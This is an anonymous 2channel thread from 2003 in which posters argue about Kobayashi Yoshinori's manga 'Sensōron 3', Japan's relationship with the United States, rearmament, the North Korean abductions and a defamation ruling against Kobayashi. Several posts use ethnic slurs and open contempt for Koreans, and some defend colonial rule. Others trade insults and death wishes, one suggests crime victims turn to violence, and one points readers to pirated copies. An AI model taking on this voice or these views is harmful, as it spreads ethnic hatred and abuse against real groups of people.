自立を目的とした軍備拡大 → アジアをはじめとした各国の非難
→ 貿易の逆セーフガード的な処置、 → 自給できません。 
ほほうが 現実的では?  (不勉強のため、幾らでも反論あるかと思いますけど)


667 :名無しかましてよかですか?:03/07/31 15:56 ID:8BXkQqQx
>>666
?日本の貿易関係がそうなったら周りの国も当然死ぬよ?

668 :名無しかましてよかですか?:03/07/31 16:06 ID:6BFFoDq+
よしりんの漫画は面白いんだけど
思想はちょっとなぁ。なんて言うかさぁ
アメリカがAって言ったらBを選んで
Bを選んだらAって言いそうなんだよね
そう、「信念のなさ」ってのを感じるんだよ・・・・

669 :名無しかましてよかですか?:03/07/31 16:15 ID:UBtVtD84
親米のアホどもはアメリカが独立支援してくれるから従え、
自主防衛できるようになったらちゃんとアメリカにもの言えるってほざいてるけど
日本以外の国は一応独自の軍隊持ってるけど、アメリカの属国状態は変わりないだろ。
韓国見れば分かるじゃん。
なぜ憲法改正できたらアメリカと渡り合えるなんて言えるのかね。
小林も言ってるだろ。今のままでも言うべきことを言えばちゃんと外交ができるって。

憲法改正+再軍備これでアメリカに強く言える
今の現状=アメリカに従うしかない

なぜこう単純な考えしかできんのだろうか。



670 :名無しかましてよかですか?:03/07/31 16:15 ID:30b2uKBu
ポチは伝統とそれの継承について考えろ。


671 :名無しかましてよかですか?:03/07/31 16:16 ID:30b2uKBu
>よしりんの漫画は面白いんだけど
もう読むの辞めろ。信念のなさとかなんとか言うなら、
もう立ち読みもやめりゃいいじゃん。

672 :名無しかましてよかですか?:03/07/31 16:17 ID:8BXkQqQx
>>668
いやそうじゃないと思うよ。
小林はアメリカの行動によって選択肢を絞るんじゃなくて、
選択肢の中で外れる行動が、アメリカの行動と同じなだけでしょ?
だからこそ道義を問うてるんしょ?

673 :名無しかましてよかですか?:03/07/31 16:18 ID:i/FFri/b
ほんといい出来だったな。

674 :名無しかましてよかですか?:03/07/31 16:28 ID:910wgBHx
>>669
額を地面にこすり付けて、日本に併合をお願いした奴隷思想なチョンの同類だな。
類は友を呼ぶってな。隷属思考のポチは半島にでも逝ってろ。

675 :名無しかましてよかですか?:03/07/31 16:31 ID:U+VzOAGZ
>>669
>今のままでも言うべきことを言えばちゃんと外交ができるって。

それが疑われてる訳でしょ。
小林自身が自分を漫画家と規定して言ってるのであって。

676 :名無しかましてよかですか?:03/07/31 16:32 ID:6BFFoDq+
>>671
いやぁ、朝日を批判してる癖に朝日と組んで北を擁護してるじゃん。
これは信念があるとは言えんと思うが?
>>672
そうだろうか?拉致事件に関してアメリカがテロと言ったから違うと言う趣旨の発言をしているぞ。

677 :名無しかましてよかですか?:03/07/31 16:34 ID:8BXkQqQx
憲法改正+再軍備これでアメリカに強く言える
今の現状=アメリカに従うしかない

っていってるポチはなんの覚悟もないんだろうね。
覚悟なきアメリカ支持、覚悟なき後方支援、覚悟なき占領統治
その本質は覚悟なき独立心なんだろうね。結局アメリカを親友じゃないと認めたくないだけ。アメリカは日本なんてどうとでもできる存在だと思ってるのに。

678 :名無しかましてよかですか?:03/07/31 16:36 ID:U+VzOAGZ
>>677
わしズムvol.7の片岡鉄哉の論文とかはどう見てるの?

679 :名無しかましてよかですか?:03/07/31 16:36 ID:+EzM2DHn
>なぜこう単純な考えしかできんのだろうか。

そのまんまお前に返すよ。

680 :名無しかましてよかですか?:03/07/31 16:37 ID:8BXkQqQx
>>676
拉致はテロじゃないだろ。よくは知らんから申し訳無いが、小林は拉致はテロだって発言してたの?
してたとしても、別にアメリカがテロといったから変更してないでしょ?

681 :名無しかましてよかですか?:03/07/31 16:38 ID:8BXkQqQx
>>678
ごめん金なくて見てない。

682 :名無しかましてよかですか?:03/07/31 16:39 ID:w+NyeCm8
>>651
おまいは才能の無いギャグ漫画家だから小林の気持ちはよくわかるとそういうわけか。w
漫画家じゃなけりゃ漫画家の気持ちは分からないなんて小学生みたいなこといってんな。
自分の気持ちを伝えるために全ての表現があるんだろうが。
小林だって伝えたい気持ちや考えがあるから漫画を書いているんだろ。
その内容はともかくな。

683 :_:03/07/31 16:40 ID:3a1Lr8Fq
http://homepage.mac.com/hiroyuki44/

684 :名無しかましてよかですか?:03/07/31 16:43 ID:U+VzOAGZ
>>681
むやみやたらに立ち読みを推奨するつもりもないけど、なんとも言い難いですな。

685 :名無しかましてよかですか?:03/07/31 16:44 ID:PeKlKgId
買っちゃった。
買ってよかった。

686 :名無しかましてよかですか?:03/07/31 16:44 ID:6BFFoDq+
>>680
なんて言うか、拉致家族がアメリカよりなんで牽制した。というふうに感じ取れるんだよね。
しかも朝日と組んでな。反米繋がりでは有るが反日な朝日と組むのはいかがな物かと。

それに、俺は反朝鮮(北も南もひっくるめて)なんだが、アメリカ嫌いのあまりに反日である国を擁護するのが。愛国者なのだろうか?という疑問が生まれた。

687 :名無しかましてよかですか?:03/07/31 16:44 ID:egCJI3jR
まぁ、拉致はテロじゃないわなぁ。


688 :名無しかましてよかですか?:03/07/31 16:51 ID:R5jR1ITI
みんな家族会と救う会がゴッチャになってるんだね。
小林は家族会を批判したことはないよ。勝栄の物言いが気に食わないんじゃない?

689 :名無しかましてよかですか?:03/07/31 16:52 ID:yA2pCOJB

>>681
nyで落とせ

690 :名無しかましてよかですか?:03/07/31 16:52 ID:8BXkQqQx
>>686
牽制したと感じ取れるかもせんけど、俺は単純に拉致はテロではないって言いたかったと思うけど。小林は。
テロって言葉があまりに一人歩きしてたんで。てなわけで朝日と組むとか違うでしょ、って思う。
だから別に小林は半島を擁護してない。って思う。(そもそもが憶測の議論だから思うとしか言えない。)

691 :名無しかましてよかですか?:03/07/31 16:54 ID:8BXkQqQx
>>689
すまん、nyの意味が分からん。
でも今から出かけるんでついでに買ってくる。

692 :名無しかましてよかですか?:03/07/31 16:54 ID:R5jR1ITI
憶測というより妄想

693 :名無しかましてよかですか?:03/07/31 16:55 ID:U+VzOAGZ
>さて、アメリカでは同盟国・日本で
>繰り返された
>拉致というテロが証明されても
>誰も怒らない。誰も泣かない
>まあ、それが普通で、
>他の国で起こるテロは
>どーでもいいのだろう
ゴーマニズム宣言12巻p179

他スレから拾ってきたけど。

694 :名無しかましてよかですか?:03/07/31 16:58 ID:6faob51r
仲間内の権力争いで米に頼るチョン=米追従隷属ポチ

695 :名無しかましてよかですか?:03/07/31 17:01 ID:8BXkQqQx
>>693
あら、やっちゃってたね小林w
でも後から訂正した原因は言葉の意味だから、別にアメリカとかは関係ないっしょ。
勉強して賢くなったんだね。


696 :名無しかましてよかですか?:03/07/31 17:01 ID:6BFFoDq+
半島を擁護しなければ考え方には賛同できますよ。
しかし、「北朝鮮がそんなに怖いのか、とかね」
北は怖くないからみんな反米しようぜと思える。
ちなみに俺は北なんか怖くはない。むしろ怒りの感情が強い。

697 :名無しかましてよかですか?:03/07/31 17:02 ID:vcB0WCwJ
674>>
おまえは国語能力が無い厨房だな。おれは反米自主防衛派だぞ。
考え方が現実的なだけだ。
679>>
どこが単純なのか分かるように指摘しろ。

どうも親米派の奴らって相手にしにくいな。
普段社会に出てコミュニケーション取れてんのか?

ただ当てこすりを一言

おまえは親テロ 
コヴァは親北朝鮮的

小林の言うことを少し引用すると

てめーはコヴァ信者

追い詰められると

無視

西尾とかのオッサンの本ばかり読んで自分の頭で考えないから
そうなるんだよ。見ててかわいそうになるくらいアホだな。
自分がしがみついてる価値観が崩れるのが怖いんだな。
なんつっても惨めな自分を忘れるには日本は素晴らしい国だ。
韓国、中国はおれ達より下の国だってほざいてるのが楽だからな。
親米派の奴らは自分たちの読んでる右翼本の著者たちが情けない奴隷根性の奴なんて
認める勇気は無いんだろうな。
まあ、こういう考えの奴は社会の落ちこぼれの中年男に多いんだが。
ここにいる奴らもそうなのか?

698 :名無しかましてよかですか?:03/07/31 17:03 ID:6BFFoDq+
>>693
アヒャ!言ってることが変わってるw
http://www.geocities.co.jp/WallStreet/3408/200306asahi.mp3
拉致はテロではなかったのでは?

699 :名無しかましてよかですか?:03/07/31 17:04 ID:ALTwewYp
>>690
拉致はテロより酷い犯罪って小林が言ってたぞ。
考えるまでもないことだが・・・

700 :名無しかましてよかですか?:03/07/31 17:05 ID:U+VzOAGZ
>>695
>別にアメリカとかは関係ないっしょ。

それが解るのは小林だけだけど信頼されてなければ弁明も受け入れられないでしょ。
宮崎哲弥と共演したのを音声で聞いたけど元々は宮崎の見解だったみたいよ。
都合がよくて飛びついちゃったという感じだね。

701 :名無しかましてよかですか?:03/07/31 17:08 ID:U+VzOAGZ
>>695
正確に言うと訂正はしてないし。
昔から一貫してたかのような書き方だったw

702 :名無しかましてよかですか?:03/07/31 17:10 ID:8BXkQqQx
>>696
>北は怖くないからみんな反米しようぜと思える。
いやそれはないでしょ。北は怖いよ。怖いけど、それをアメリカが解決してくれるとポチ精神で期待するのは違うって事だと思う。
アメリカは日本の為に血を流さない。だから、自分の国は自分で守ろうという当たり前のところから出発したんじゃないかな。
反米するんじゃなくて、親米でいいのか!ってね。反米はあくまでも「マナー」としてね。韓国みたいにハン的に反したんじゃ日本にとってなんの利益もないしね。


703 :名無しかましてよかですか?:03/07/31 17:17 ID:8BXkQqQx
>>698
言う事が変わるのは別にアヒャ的な事じゃないよ。
論理の変遷が論理的に遂げてるのであれば、ジンテーゼとして認められる。
>>700
宮崎の見解だったとしてもなんかの本だとしてもそれが正しいなら問題はないっしょ。
訂正してないのかぁ まぁそこは愛敬でw 多分本人も気づいてないだろうし。

704 :名無しかましてよかですか?:03/07/31 17:19 ID:30b2uKBu
ポチって単純だな〜

705 :名無しかましてよかですか?:03/07/31 17:21 ID:U+VzOAGZ
>>703
>まぁそこは愛敬でw

いやその解釈は...ちょっとどうかと思うぞ。

706 :名無しかましてよかですか?:03/07/31 17:23 ID:2zT9Xrpx
「マナーとしての反米」も元は西部の見解だし

707 :名無しかましてよかですか?:03/07/31 17:25 ID:8BXkQqQx
>>705
まぁそこは小林の不注意って事で。


708 :名無しかましてよかですか?:03/07/31 17:26 ID:8BXkQqQx
>>706
そんなの言い出したら日本の学者は殆ど西洋の学者のパクリ。

709 :名無しかましてよかですか?:03/07/31 17:28 ID:U+VzOAGZ
>>707
最後にするけど、受け手側がそういう環境を作っていて日本人の覚悟がどうのと言っても、
疑問を感じる人達に理解を求める事が出来るかというと疑わしいと思うよ。
まあ、感じないなら仕方がない。

710 :名無しかましてよかですか?:03/07/31 17:29 ID:EhJqFEEo
そんなややこしい話かねぇ
「アメリカ万歳! アメリカに付いていけばダイジョウブ!」はヤメロと
現状はアメリカに協力するしかないが盲従ではなくアメリカを利用する方向で考えろと
自衛隊を出すなら出すで彼らが生命を賭するにふさわしい物語くらい用意しろと
国際貢献とか復興支援とかの言葉の言い換えではダメだと
それだけの話だろーに

711 :名無しかましてよかですか?:03/07/31 17:33 ID:2zT9Xrpx
親米派は反米派のことを今すぐにでもアメリカと戦争したがっている奴等のように言い、
反米派は親米派のことを「アメリカZOKKONラヴ!100%信頼してます!ていうか犯せ!」という態度をとっているかのように言う。

不毛

712 :名無しかましてよかですか?:03/07/31 17:45 ID:EhJqFEEo
>>711
少なくとも産経新聞を読むと
「アメリカZOKKONラヴ!100%信頼してます!ていうか犯せ!」
という態度にしか見えないんだが…
イラク戦争開戦のときの紙面なんかアメリカの地方紙かと思ったよ…
あのときからだなー朝日もヘンだが産経もヘンなんじゃないかと


713 :名無しかましてよかですか?:03/07/31 17:46 ID:8BXkQqQx
>>709
すまん、シャワー浴びてた。
ってか、なんの受け手側がどういう環境をつくって、なにに疑問を感じる人達になにの理解を求めてるのかわからん。
読解力なくてすまん。



714 :名無しかましてよかですか?:03/07/31 17:48 ID:tcixvn8g
>>710
ですねえ。この言葉に尽きるだろう。

『2000年の歴史を持つ日本だからこそ、
アメリカの「近代主義」の暴走に警戒と批判を怠らずに、
軍事上では、やむなく「日米同盟」を組むくらいの
内心、忸怩たる感覚があってこその「保守主義」の
はずだった』(戦争論3 P77右下)

はっきり言って、大騒ぎするような本じゃないよ。
勉強不足で初めてこの本で歴史に目覚めた学生、とか
小林一流の煽りに釣られたアホ、とか
そんな人以外には常識的知識しか書いてないだろ。
これで反米とか言う神経が分からん・・・

まあ、過剰反応したくなる様に書いてるってのもあるけどさ、
漫画って言うエンターテイメントなんだから、そこ分かれやw

715 :名無しかましてよかですか?:03/07/31 17:48 ID:bt1jJyly
わしズムにのってた「わしが日本で保守するもの」はおもしろい

716 :名無しかましてよかですか?:03/07/31 17:53 ID:2zT9Xrpx
>>712
うーん。そういう記事もあったかも。
しかし、「ZOKKONラヴ」が「ポチ」なのは判るけど、
>>714で引用されている「忸怩たる感覚」を表明している親米派の方をも「ポチ」扱いしている場面がたまに見受けられるような気が・・・。

因みに自分の立場を表明しておくと、西部・小林支持。

717 :名無しかましてよかですか?:03/07/31 17:58 ID:EhJqFEEo
>>716
>>>>714で引用されている「忸怩たる感覚」を表明している親米派の方をも
>>「ポチ」扱いしている場面がたまに見受けられるような気が・・・

あるある(w
よしよしりんりん、ウソも方便って言葉しりませんかー?
と言いたくなるところあるなー

718 :名無しかましてよかですか?:03/07/31 17:58 ID:tcixvn8g
>>716
糞も味噌もいっしょに、
勢いでポチ扱いしちゃってる様なとこはあったかも。
まあ、漫画表現の勢いとして理解してます。
そもそも、別に思想本として読んでるわけじゃないし・・・

漏れにとってはゴー宣は
あくまで、小林個人のロマンチックな感情の発露としての漫画。
それ以上でもそれ以下でもない。楽しく読んでるけどね。

因みに自分の立場を表明しておくと、よしりんが貶してるリアリストですw

719 :名無しかましてよかですか?:03/07/31 18:02 ID:iIbDyLtk
アメリカ万歳、だの何時までも付いていきます、だの言ってる奴がどこにいるの?
いやしませんよ。
大体、大統領が替われば、政策がどう変わるか知れないんだから。
キムマンせーって言ってる奴は日本人にもいるらしいがw
ただ、現状で、アメリカ支持がいい、というだけでしょうが。

小林が何かを批判してるとすれば、彼の脳内に映った、現実にはない勢力だよ。

720 :名無しかましてよかですか?:03/07/31 18:09 ID:lhV+Rmg9
自分の頭で考えると言っても、完全にオリジナルのことなんていえない。だけど、論者によって自分の実感にしっくりとくる人って確かにいる。ゴーセンは良いブックレットだから、他の人がどんなこと言う人なのか勉強したほうがいい。小林に対する違和感に気付くこともあるから

721 :名無しかましてよかですか?:03/07/31 18:14 ID:tcixvn8g
>>719
そこんとこ単純化しすぎだよな、漫画らしく。
アメリカなんて民主主義を信奉してるだけに、
逆に付け入る隙はいくらでもあるのにね。

アメリカ51番目の州になるって話があったけど、
どうせなら進んでアメリカの州になって
日系人の大統領を出して、民主選挙でアメリカを逆占領しちゃう、
ってくらい漫画的なネタにしてほしかったなあ・・・
そのくらいの気概がほしいw

722 :名無しかましてよかですか?:03/07/31 18:14 ID:fKGInNMd
>>718
それは通らんよ。
小林は、HIV問題でも、新しい歴史教科書問題でも、
理念だけを語ったわけではなかった。常に現実に対する影響を考えてきた。
今回のが、マナーだの理念だのってのは、イラクについての主張がずれてきたことを感じて、
逃げのスタンスに入ったってことだろう。
別にそれはそれでいいが、主張だけは変えずに、歪曲までして補強しているのはずるい。彼らしくない。
主張を撤回すべきだろう。

723 :名無しかましてよかですか?:03/07/31 18:14 ID:2zT9Xrpx
結局、「ポチ」って言葉の定義が曖昧なまま喧嘩しあってるのが不幸なところだよね。
俺の感覚では>>712>>714>>719も全部、まっとうな感覚からでた意見だと理解できる。

結局「ポチ」って印象操作用の罵倒語が1コ増えただけだな。
「コヴァ」とか「サヨ」とか「嫌韓厨(今は紳士か)」と同レベルの言葉。


724 :名無しかましてよかですか?:03/07/31 18:20 ID:tcixvn8g
>>722
まあ、漏れ的には
そんなものに影響されるほうが悪い
で、すんじゃうんだけど・・・

「日常に帰れ!」って昔よしりん自身が言ってたのになあw
いつの時代にも熱しやすい層はいるもんだね。

725 :名無しかましてよかですか?:03/07/31 18:23 ID:hCxDEtml
http://www.vesta.dti.ne.jp/~hi-lite/sample.html
簡単に見れるぞ

726 :名無しかましてよかですか?:03/07/31 18:26 ID:4Cp4onjE
>>724
それを言うなら、小林こそ、日常に帰るべきだろう。
別に彼がアメの被害者だっていうわけじゃなし。
今現在だって、アメ(という国家)の被害に会っている奴はいない(個人的犯罪は除く)。
北による被害者は明らかにいるが。これに関しては、国民は日常に帰ってはいけない。

727 :名無しかましてよかですか?:03/07/31 18:30 ID:tcixvn8g
>>726
いや、ある意味漫画家ってのは非日常を描いて
生活してるんだから、あれはあれでいいんじゃないの?

まあ、一歩距離をおいて読めるような読者なら問題ないんだけどね・・・
わたしゃあくまでエンターテイメントとして読んでます。

728 :コヴァ必死だな(w:03/07/31 18:30 ID:Ee2U2GR9
>>721-726
自作自演ご苦労

729 :名無しかましてよかですか?:03/07/31 18:54 ID:4Cp4onjE
>>727
どうもおかしいなあ。
戦争論3だけなら、それでいいんだけどね。
彼の反米は、TVでもラジオでも雑誌でも、あらゆるメディアwを使って主張されてるんだよ。
それは、アカヒなどサヨマスコミの影響力行使となんら変わらないんだよ。
それを只のエンタメとは言えないと思うが。

>>728
死ねよ。消えろ。カンの鈍い奴はどっかいけ。

730 :名無しかましてよかですか?:03/07/31 18:59 ID:ALTwewYp

アメリカ51番目の州になるって話って
正論で真剣に議論されてたけど、
あれはポチって呼んでいいよね。

731 :名無しかましてよかですか?:03/07/31 19:17 ID:XKnvM7Fc
 ( l    _、_
  \ \ ( <_,` ) USA
   ヽ___ ̄ ̄  )   グッジョブ!!
     /    /
   _、_
 ( ,_ノ` )      n ジャパン
 ̄     \    ( E) グッジョブ!!
フ     /ヽ ヽ_//
    ∩
    ( ⌒)     ∩_ _
   /,. ノ      i .,,E)
  ./ /"      / /"
  ./ / _、_   / ノ'
 / / ,_ノ` )/ /
(       /  good job!
 ヽ     |
  \    \
   n                n
 (ヨ )              ( E)
 / |    _、_     _、_    | ヽ
 \ \/( ,_ノ` )/( <_,` )ヽ/ / good job!!
   \(uu     /     uu)/
    |      ∧     /
       _n n_
  _、_  .(  ll  )    _、_
( ,_ノ` )  `/ /ヽ  ( <_,` )
(    ̄ ̄___/ ヽ___ ̄ ̄   )
 \   丶     /     /    good job!!
今こそアメリカと共栄してテロの無い平和な世界に!


732 :名無しかましてよかですか?:03/07/31 19:18 ID:2zT9Xrpx
呼んでよし。

733 :名無しかましてよかですか?:03/07/31 19:33 ID:6GXdshYJ
アメリカのポチより、小林のポチのほうが見ててウザイ。
いくら偉そうな事言ったところで、人のために命を張るとも思えないし。

「どうだ、俺はこんなに凄い考えを持ってるんだ」と言いたいだけだろ、結局。

734 ::03/07/31 19:55 ID:99g+6FNc

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735 :名無しかましてよかですか?:03/07/31 20:05 ID:AFhNMzEl
まだ買ってないんですが2に比べると買う価値ありでしょうか?


736 :名無しかましてよかですか?:03/07/31 20:12 ID:172xt7Gc
戦争論3の主張と三島由紀夫の檄文シンクロしてる。
そう考えると三島ってすげぇな。
この国が陥る先がみえてたんだなって。
時間あったら皆読んでみてくれよ!



737 :名無しかましてよかですか?:03/07/31 20:13 ID:172xt7Gc
http://www.nippon-nn.net/mishima/geki/

738 :日大商4年:03/07/31 20:22 ID:HveCFJHB
新ゴーマニズム宣言の小林氏らに250万円支払い命令
http://www.asahi.com/national/update/0731/026.html

739 :名無しかましてよかですか?:03/07/31 20:43 ID:m6pStm68
434 名前:文責・名無しさん[] 投稿日:03/07/31 19:25 ID:O1GT2TaN
教祖様、ついに名誉毀損で敗訴。今の小林はいらんこと反米に
たけり狂っているから、今回の敗訴も「ポチ保守の陰謀」とか
言い出しそうですな。実際、著作権裁判の頃には「慰安婦問題に
触れたわしに対する政治的陰謀」とかトチ狂ったことを逝ってたし(w
これで産経や西尾幹二から訴えられたら完全にアウトだ罠。

http://headlines.yahoo.co.jp/hl?a=20030731-00000413-jij-soci
◆小林よしのり氏、逆転敗訴=「新ゴー宣」似顔絵で賠償命令−東京高裁
漫画家小林よしのりさんの「新ゴーマニズム宣言」で泥棒姿の似顔絵を描かれ
名誉を傷つけられたとして、関西大講師の上杉聡さんが、小林さんと発行元の
小学館を相手に約720万円の損害賠償などを求めた訴訟の控訴審判決が
31日、東京高裁であった。西田美昭裁判長は「上杉さんが著作権侵害を
したという印象を与える似顔絵は名誉棄損に当たる」と述べ、請求を退けた
1審判決を変更し、小林さん側に250万円の支払いと謝罪広告掲載を命じた。 


740 :名無しかましてよかですか?:03/07/31 20:56 ID:+7W5Yn9X
「噂の真相」をどのツラ下げて批判してたの?

741 :名無しかましてよかですか?:03/07/31 21:00 ID:2kTThWnO
>>739
似顔絵が名誉毀損か・・・。
新聞とかの風刺画は全部アウトになりかねんな・・・。

そういや上杉がらみの他の裁判はどうなったんだっけ

742 :名無しかましてよかですか?:03/07/31 21:03 ID:UXCrdeuR
泥棒姿にしたから名誉毀損なんだろ

743 :名無しかましてよかですか?:03/07/31 21:03 ID:2kTThWnO
>>733
それだな・・・(´・ω・`)
自分にしたってな・・・。

>>735
個人的に、2はそんなに要らない。1の補足みたいな感じだし。
むしろ3の方が、そっち方面では重要かと。

744 :名無しかましてよかですか:03/07/31 21:07 ID:Lugj/Tvl
小林よしのり敗訴か。
「やられたね。」
「修理が必要だ。」

745 :名無しかましてよかですか?:03/07/31 21:23 ID:2kTThWnO
事実であっても名誉毀損は成立するそうだから、
仕方ないといえば仕方ないのかな。

746 :名無しかましてよかですか?:03/07/31 21:30 ID:PExHny6k
宗男、朝日新聞とか訴えたら勝てるぞ!!
以前ひどかったぞ、香具師の風刺画

747 :名無しかましてよかですか?:03/07/31 21:30 ID:ygJz952m
特攻隊の遺詠と遺書は
何度読んでも涙が出る……゜・(つД⊂)・゜

748 :名無しかましてよかですか?:03/07/31 21:35 ID:NW4L4NhH
戦争論3の写真を見たが、
こんな不健康な太り方をして、頭の中だけで「日本人の美徳が」
とか言ってる小林に腹が立つ。
もっと節制しろ。

749 :名無しかましてよかですか?:03/07/31 21:41 ID:no5M0s8O
最近 復活したコバは みんな幻灯舎の雇われアルバイトだべ
2ちゃんねる対策要員 時給1200円(口止め料込み)

750 :名無しかましてよかですか?:03/07/31 21:44 ID:2kTThWnO
>>749
賄いきれんよ。

751 :直リン:03/07/31 21:44 ID:ruXTSKN3
http://homepage.mac.com/maki170001/

752 :名無しかましてよかですか?:03/07/31 21:45 ID:2kTThWnO
ニュー速+で上杉の件のスレが立ってたが、
かなりの勢いで1000行ったな。

続きはこの辺になるのか?

753 :名無しかましてよかですか?:03/07/31 21:46 ID:PvZGz0t2
ほんと中身が濃い本だ。今まで知らなかったこととかが沢山書かれていて
よかった。

754 :名無しかましてよかですか?:03/07/31 21:51 ID:NieXxzxr
まあ、常識と法律には隔たりがあるわけで、 その穴を付いてメシを食ってるのが、弁護士と左翼って事だ。 常識では、子供が計画大量殺人を犯したら、 本人は死刑、親は追放となるべきだが、 法律によって、犯罪者の尊厳は守られる

755 :名無しかましてよかですか?:03/07/31 21:56 ID:+7GNmlYy
>>753
プッ情報は全部小林からのみ受け入れるんですか?

756 : :03/07/31 21:56 ID:o3UiOxFM
戦争論全て持っているけど、3はアメリカ憎しが強すぎるね。
現実問題としてアメリカに、今歯向かっても損するだけ。
日本は加賀前田家のように生きるしかないんだよ。

757 :名無しかましてよかですか?:03/07/31 22:01 ID:07djp3Q1
法律は利害対立の調整と考えると、
今の法律は上手く機能していないように思われる。
それでは、何故、機能しない法律が有効なのか?
「不利益を被る被害者が泣き寝入りをするから」
抗議はするだろう。遺憾に思いますとか。
ただ、「抗議?あっそ!わかったわかった、ヨカッタネ!」みたいな感じ
に捉えてるんだろ?だから何も変わらない。
犯罪被害者は暴力に訴えることも考えなくてはならないのではないか?と
本当に思います。

758 :名無しかましてよかですか?:03/07/31 22:03 ID:PvZGz0t2
>>755
ん?
そんなこと書いた?





                                             何処に?


もう一度>>753を読んでみるんだけど、何処に書いてあるんだろうか.....

759 :名無しかましてよかですか?:03/07/31 22:05 ID:2kTThWnO
>>756の言うとおりだろうな。
さしあたり国内の敵をなるべく掃討するしかないだろうな・・・。

あとは、チャンスが来るまで臥薪嘗胆てか・・・。


760 :名無しかましてよかですか?:03/07/31 22:06 ID:R9z6p6Q+
>755
まさにおまえコヴァだなw

761 :名無しかましてよかですか?:03/07/31 22:11 ID:2kTThWnO
>>760
読み返すとそうなるよな(w

762 :名無しかましてよかですか?:03/07/31 22:12 ID:+7GNmlYy
まぁコヴァがヴァカだとかつまらんことは言わんよ、俺もむかしは信者だったし。
だけど現実問題として、世界の未来はアメリカが握っているんじゃないのか?
軍事力・経済力ともにNO.1でイラク戦争みたいに強権的に出られたら
結局どこの国もとめることは出来なかったじゃないか・・
2次大戦で日本もガチンコ勝負に負けてしまったけど
今では経済大国として立派に友好国となっている。21世紀は世界のリーダー国アメリカを
各国が啓蒙してリーダーたるにふさわしい国に成長させていく時じゃないのか

763 :名無しかましてよかですか?:03/07/31 22:12 ID:+ZgEn2Je
イヌ死ね

764 :名無し:03/07/31 22:26 ID:CR2H6s/H
前田家というより、毛利家の方が適切では。

765 :名無しかましてよかですか?:03/07/31 22:27 ID:04GQq5wd
(日本)アジアの人達を白人から解放する
(アメリカ)イラクの人達をフセインから解放する
建前は同じようなもんだね。本音も侵略で一緒か。
結果的には、一応、どちらも最悪の状態から脱したのだから、
過去の日本を正当化するなら、イラク戦争を認めてもいいのに。

766 :名無しかましてよかですか?:03/07/31 22:43 ID:zX4+bux0
>>756
長州毛利家みたいに生きるのはどう?

767 :Revolution21 ◆MDJSLFlnFs :03/07/31 22:52 ID:42wyuCVO
アジア人にとっての日本人は、単に新たな植民者でした。
植民者の開発によってインフラが整うのは全世界共通です。
したがって当時の白人と日本人を分かつ争点は存在しません。

768 :名無しかましてよかですか?:03/07/31 22:53 ID:m87U7j1r
佐山聡に比べれば小林はずっとまとも。


769 :名無しかましてよかですか?:03/07/31 23:08 ID:x96TAQTw
>>767
白人だけのインフラ為に
アジア人を奴隷として働かしたからね。
日本みたいに名前を日本風にして同一の権利を
与えようなんて考える日本がバカ。


770 :名無しかましてよかですか?:03/07/31 23:19 ID:PExHny6k
ってかねえ
日本アフォだよ。
もーーーーーーーーーーーっと搾取できたのに
教育だの創氏改名だのいって・・
もうね、バカかと。アホかと。
攻めるんなら本気だせい!!
・・・・とかいってみたが
本心ではない。


771 :名無しかましてよかですか?:03/07/31 23:24 ID:lYDIwm2p

チョンに文明を与えた事だけが祖父達の罪。つくづく悔やまれる


772 :名無しかましてよかですか?:03/07/31 23:27 ID:8BXkQqQx
>>762
さて、ケーガンのあの論文が骨となってる国が他の国に啓蒙されうるでしょうか。
ありえません。啓蒙しようとしたら必ず衝突します。
しかも、啓蒙しようということは、場合によると反米になろうということです。
完全にアメリカに追従するか、場合により反米するか、どっちかしかないです。

773 :名無しかましてよかですか?:03/07/31 23:31 ID:S0vqexbW
>日本みたいに名前を日本風にして同一の権利を
>与えようなんて考える日本がバカ。

与えたというより、欲したという傾向なんでしょ
実態は、そういう状態に追い込んだのかもしれないが

774 :名無しかましてよかですか?:03/07/31 23:31 ID:VOkG7I/w
こんなすばらしい漫画が売れるなんてやっぱアメリカに負けたお陰だね。
ソ連に負けてたら表現の自由なく収容所送りだよ。
アメリカ様様、アメリカあっての日本を更に印象漬けた娯楽作品だ。

775 :名無しかましてよかですか?:03/07/31 23:33 ID:S0vqexbW
>チョンに文明を与えた事だけが祖父達の罪。つくづく悔やまれる

いや罪では無いよ
いずれ彼らが自分で自分を恥じる日が来る。
と思うのだが、楽観的か?


776 :名無しかましてよかですか?:03/07/31 23:35 ID:TTgowfk9
>>774
ソ連参戦がきっかけで完全に降伏を決意したのでそれはないと思われ。
つうかソ連が日本本土(含む北海道)に上陸する能力を持ったことは金輪際ないと思われ。

777 :名無しかましてよかですか?:03/07/31 23:36 ID:S0vqexbW
>ソ連に負けてたら表現の自由なく収容所送りだよ。
>アメリカ様様、アメリカあっての日本を更に印象漬けた娯楽作品だ。

そうはならないでしょ。
結局は、自治するわけだから日本人による共産体制というのも
結構うまく機能したかも。
と、思うが、、


778 :名無しかましてよかですか?:03/07/31 23:37 ID:tm/2frvo
>>775
こない。なぜならチョンだから。

779 :名無しかましてよかですか?:03/07/31 23:42 ID:m6pStm68
>>775

>いずれ彼らが自分で自分を恥じる日が来る。

チョソに限ってそれは絶対にない!!

まあ可能性があるとすれば、チョソがチョソで無くなった時かな?
誰かまた征服してやれよ!中国でもアメリカでもロシアでも良いからさ。
えっ?日本か?日本は二度とゴメンだ!(w


780 :名無しかましてよかですか?:03/07/31 23:42 ID:07djp3Q1
>>777
ポーランド侵攻・・・。

781 :名無しかましてよかですか?:03/07/31 23:43 ID:z5vKKipu
アメリカにもたらされた「表現の自由」「信教の自由」があるから、コバのヨウナ
漫画家が出世できて良い暮らししてんだからアメリカに感謝すべきだろ!

782 :名無しかましてよかですか?:03/07/31 23:43 ID:8BXkQqQx
>>774
西洋列強が日本を戦争に巻き込まなかったらアメリカ様様しなくても表現の自由はあっただろうね。

783 :名無しかましてよかですか?:03/07/31 23:47 ID:Y5K9DAf6

>>767
> アジア人にとっての日本人は、単に新たな植民者でした。
アジアの民をなめるなよ。彼らは独立のために日本を利用したんだ。
日本人が考えている以上にしたたかだったってことだ。
ただし、国によって事情はかなり違うが。

> 植民者の開発によってインフラが整うのは全世界共通です。
日本の場合はインフラだけではない。
教育と訓練と現地人の登用を行ったことが決定的な違いだ。

> したがって当時の白人と日本人を分かつ争点は存在しません。
従って当時の白人と日本人は明確に分けられる。




784 :Revolution21 ◆MDJSLFlnFs :03/07/31 23:48 ID:42wyuCVO
無理です。日本の法体系はドイツ官房学から来ています。
悪法も法なり、というやつで、抵抗権を認めないわけですね。
したがって旧ドイツや日本では常に議会が基本的人権に優越していたのです。
革命によってこの法体系を断ち切らない限り、西欧並みの自由は無理だったのです。

785 :名無しかましてよかですか?:03/07/31 23:50 ID:3z3JieiX
